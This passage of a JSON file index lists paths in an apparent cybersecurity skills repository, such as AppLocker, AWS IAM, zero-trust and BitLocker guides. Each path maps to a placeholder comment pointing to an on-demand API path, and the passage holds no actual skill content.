-->","skills/implementing-application-whitelisting-with-applocker/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fstandards.md -->","skills/implementing-application-whitelisting-with-applocker/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-application-whitelisting-with-applocker%2Freferences%2Fworkflows.md -->","skills/implementing-aqua-security-for-container-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2FSKILL.md -->","skills/implementing-aqua-security-for-container-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-aqua-security-for-container-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-aqua-security-for-container-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fstandards.md -->","skills/implementing-aqua-security-for-container-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aqua-security-for-container-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2FSKILL.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Fassets%2Ftemplate.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fapi-reference.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fstandards.md -->","skills/implementing-attack-path-analysis-with-xm-cyber/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-path-analysis-with-xm-cyber%2Freferences%2Fworkflows.md -->","skills/implementing-attack-surface-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2FSKILL.md -->","skills/implementing-attack-surface-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2Freferences%2Fapi-reference.md -->","skills/implementing-attack-surface-management/references/asm-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-attack-surface-management%2Freferences%2Fasm-reference.md -->","skills/implementing-aws-config-rules-for-compliance/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-config-rules-for-compliance%2FSKILL.md -->","skills/implementing-aws-config-rules-for-compliance/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-config-rules-for-compliance%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-iam-permission-boundaries/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2FSKILL.md -->","skills/implementing-aws-iam-permission-boundaries/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Fassets%2Ftemplate.md -->","skills/implementing-aws-iam-permission-boundaries/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-iam-permission-boundaries/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fstandards.md -->","skills/implementing-aws-iam-permission-boundaries/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-iam-permission-boundaries%2Freferences%2Fworkflows.md -->","skills/implementing-aws-macie-for-data-classification/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2FSKILL.md -->","skills/implementing-aws-macie-for-data-classification/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Fassets%2Ftemplate.md -->","skills/implementing-aws-macie-for-data-classification/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-macie-for-data-classification/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fstandards.md -->","skills/implementing-aws-macie-for-data-classification/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-macie-for-data-classification%2Freferences%2Fworkflows.md -->","skills/implementing-aws-nitro-enclave-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-nitro-enclave-security%2FSKILL.md -->","skills/implementing-aws-nitro-enclave-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-nitro-enclave-security%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-security-hub-compliance/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub-compliance%2FSKILL.md -->","skills/implementing-aws-security-hub-compliance/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub-compliance%2Freferences%2Fapi-reference.md -->","skills/implementing-aws-security-hub/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub%2FSKILL.md -->","skills/implementing-aws-security-hub/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub%2Freferences%2Fapi-reference.md -->","skills/implementing-azure-ad-privileged-identity-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2FSKILL.md -->","skills/implementing-azure-ad-privileged-identity-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Fassets%2Ftemplate.md -->","skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fapi-reference.md -->","skills/implementing-azure-ad-privileged-identity-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fstandards.md -->","skills/implementing-azure-ad-privileged-identity-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fworkflows.md -->","skills/implementing-azure-defender-for-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-defender-for-cloud%2FSKILL.md -->","skills/implementing-azure-defender-for-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-defender-for-cloud%2Freferences%2Fapi-reference.md -->","skills/implementing-beyondcorp-zero-trust-access-model/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2FSKILL.md -->","skills/implementing-beyondcorp-zero-trust-access-model/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Fassets%2Ftemplate.md -->","skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fapi-reference.md -->","skills/implementing-beyondcorp-zero-trust-access-model/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fstandards.md -->","skills/implementing-beyondcorp-zero-trust-access-model/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fworkflows.md -->","skills/implementing-bgp-security-with-rpki/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-bgp-security-with-rpki%2FSKILL.md -->","skills/implementing-bgp-security-with-rpki/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-bgp-security-with-rpki%2Freferences%2Fapi-reference.md -->","skills/implementing-browser-isolation-for-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-browser-isolation-for-zero-trust%2FSKILL.md -->","skills/implementing-browser-isolation-for-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-browser-isolation-for-zero-trust%2Freferences%2Fapi-reference.md -->","skills/implementing-canary-tokens-for-network-intrusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-canary-tokens-for-network-intrusion%2FSKILL.md -->","skills/implementing-canary-tokens-for-network-intrusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-canary-tokens-for-network-intrusion%2Freferences%2Fapi-reference.md -->","skills/implementing-cisa-zero-trust-maturity-model/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2FSKILL.md -->","skills/implementing-cisa-zero-trust-maturity-model/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Fassets%2Ftemplate.md -->","skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fapi-reference.md -->","skills/implementing-cisa-zero-trust-maturity-model/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fstandards.md -->","skills/implementing-cisa-zero-trust-maturity-model/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fworkflows.md -->","skills/implementing-cloud-dlp-for-data-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-dlp-for-data-protection%2FSKILL.md -->","skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-dlp-for-data-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-security-posture-management/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2FSKILL.es.md -->","skills/implementing-cloud-security-posture-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2FSKILL.md -->","skills/implementing-cloud-security-posture-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-trail-log-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-trail-log-analysis%2FSKILL.md -->","skills/implementing-cloud-trail-log-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-trail-log-analysis%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-vulnerability-posture-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2FSKILL.md -->","skills/implementing-cloud-vulnerability-posture-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Fassets%2Ftemplate.md -->","skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-vulnerability-posture-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fstandards.md -->","skills/implementing-cloud-vulnerability-posture-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fworkflows.md -->","skills/implementing-cloud-waf-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-waf-rules%2FSKILL.md -->","skills/implementing-cloud-waf-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-waf-rules%2Freferences%2Fapi-reference.md -->","skills/implementing-cloud-workload-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-workload-protection%2FSKILL.md -->","skills/implementing-cloud-workload-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-workload-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-code-signing-for-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2FSKILL.md -->","skills/implementing-code-signing-for-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Fassets%2Ftemplate.md -->","skills/implementing-code-signing-for-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fapi-reference.md -->","skills/implementing-code-signing-for-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fstandards.md -->","skills/implementing-code-signing-for-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fworkflows.md -->","skills/implementing-conditional-access-policies-azure-ad/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conditional-access-policies-azure-ad%2FSKILL.md -->","skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conditional-access-policies-azure-ad%2Freferences%2Fapi-reference.md -->","skills/implementing-conduit-security-for-ot-remote-access/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conduit-security-for-ot-remote-access%2FSKILL.md -->","skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conduit-security-for-ot-remote-access%2Freferences%2Fapi-reference.md -->","skills/implementing-container-image-minimal-base-with-distroless/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2FSKILL.md -->","skills/implementing-container-image-minimal-base-with-distroless/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Fassets%2Ftemplate.md -->","skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fapi-reference.md -->","skills/implementing-container-image-minimal-base-with-distroless/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fstandards.md -->","skills/implementing-container-image-minimal-base-with-distroless/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fworkflows.md -->","skills/implementing-container-network-policies-with-calico/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-network-policies-with-calico%2FSKILL.md -->","skills/implementing-container-network-policies-with-calico/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-network-policies-with-calico%2Freferences%2Fapi-reference.md -->","skills/implementing-continuous-security-validation-with-bas/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2FSKILL.md -->","skills/implementing-continuous-security-validation-with-bas/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Fassets%2Ftemplate.md -->","skills/implementing-continuous-security-validation-with-bas/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fapi-reference.md -->","skills/implementing-continuous-security-validation-with-bas/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fstandards.md -->","skills/implementing-continuous-security-validation-with-bas/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fworkflows.md -->","skills/implementing-data-loss-prevention-with-microsoft-purview/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-data-loss-prevention-with-microsoft-purview%2FSKILL.md -->","skills/implementing-data-loss-prevention-with-microsoft-purview/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-data-loss-prevention-with-microsoft-purview%2Freferences%2Fapi-reference.md -->","skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ddos-mitigation-with-cloudflare%2FSKILL.md -->","skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ddos-mitigation-with-cloudflare%2Freferences%2Fapi-reference.md -->","skills/implementing-deception-based-detection-with-canarytoken/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-deception-based-detection-with-canarytoken%2FSKILL.md -->","skills/implementing-deception-based-detection-with-canarytoken/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-deception-based-detection-with-canarytoken%2Freferences%2Fapi-reference.md -->","skills/implementing-delinea-secret-server-for-pam/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-delinea-secret-server-for-pam%2FSKILL.md -->","skills/implementing-delinea-secret-server-for-pam/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-delinea-secret-server-for-pam%2Freferences%2Fapi-reference.md -->","skills/implementing-device-posture-assessment-in-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2FSKILL.md -->","skills/implementing-device-posture-assessment-in-zero-trust/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Fassets%2Ftemplate.md -->","skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fapi-reference.md -->","skills/implementing-device-posture-assessment-in-zero-trust/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fstandards.md -->","skills/implementing-device-posture-assessment-in-zero-trust/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fworkflows.md -->","skills/implementing-devsecops-security-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-devsecops-security-scanning%2FSKILL.md -->","skills/implementing-devsecops-security-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-devsecops-security-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-diamond-model-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2FSKILL.md -->","skills/implementing-diamond-model-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Fassets%2Ftemplate.md -->","skills/implementing-diamond-model-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fapi-reference.md -->","skills/implementing-diamond-model-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fstandards.md -->","skills/implementing-diamond-model-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fworkflows.md -->","skills/implementing-digital-signatures-with-ed25519/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2FSKILL.md -->","skills/implementing-digital-signatures-with-ed25519/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Fassets%2Ftemplate.md -->","skills/implementing-digital-signatures-with-ed25519/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fapi-reference.md -->","skills/implementing-digital-signatures-with-ed25519/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fstandards.md -->","skills/implementing-digital-signatures-with-ed25519/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fworkflows.md -->","skills/implementing-disk-encryption-with-bitlocker/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2FSKILL.md -->","skills/implementing-disk-encryption-with-bitlocker/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Fassets%2Ftemplate.md -->","skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fapi-reference.md -->","skills/implementing-disk-encryption-with-bitlocker/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fstandards.md -->","skills/implementing-disk-encryption-with-bitlocker/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fworkflows.md -->","skills/implementing-dmarc-dkim-spf-email-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2FSKILL.md -->","skills/implementing-dmarc-dkim-spf-email-security/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Fassets%2Ftemplate.md -->","skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fapi-reference.md -->","skills/implementing-dmarc-dkim-spf-email-security/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fstandards.md -->","skills/implementing-dmarc-dkim-spf-email-security/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fworkflows.md -->","skills/implementing-dragos-platform-for-ot-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dragos-platform-for-ot-monitoring%2FSKILL.md -->","skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dragos-platform-for-ot-monitoring%2Freferences%2Fapi-reference.md -->","skills/implementing-ebpf-security-monitoring/SKILL.md":"<!-- 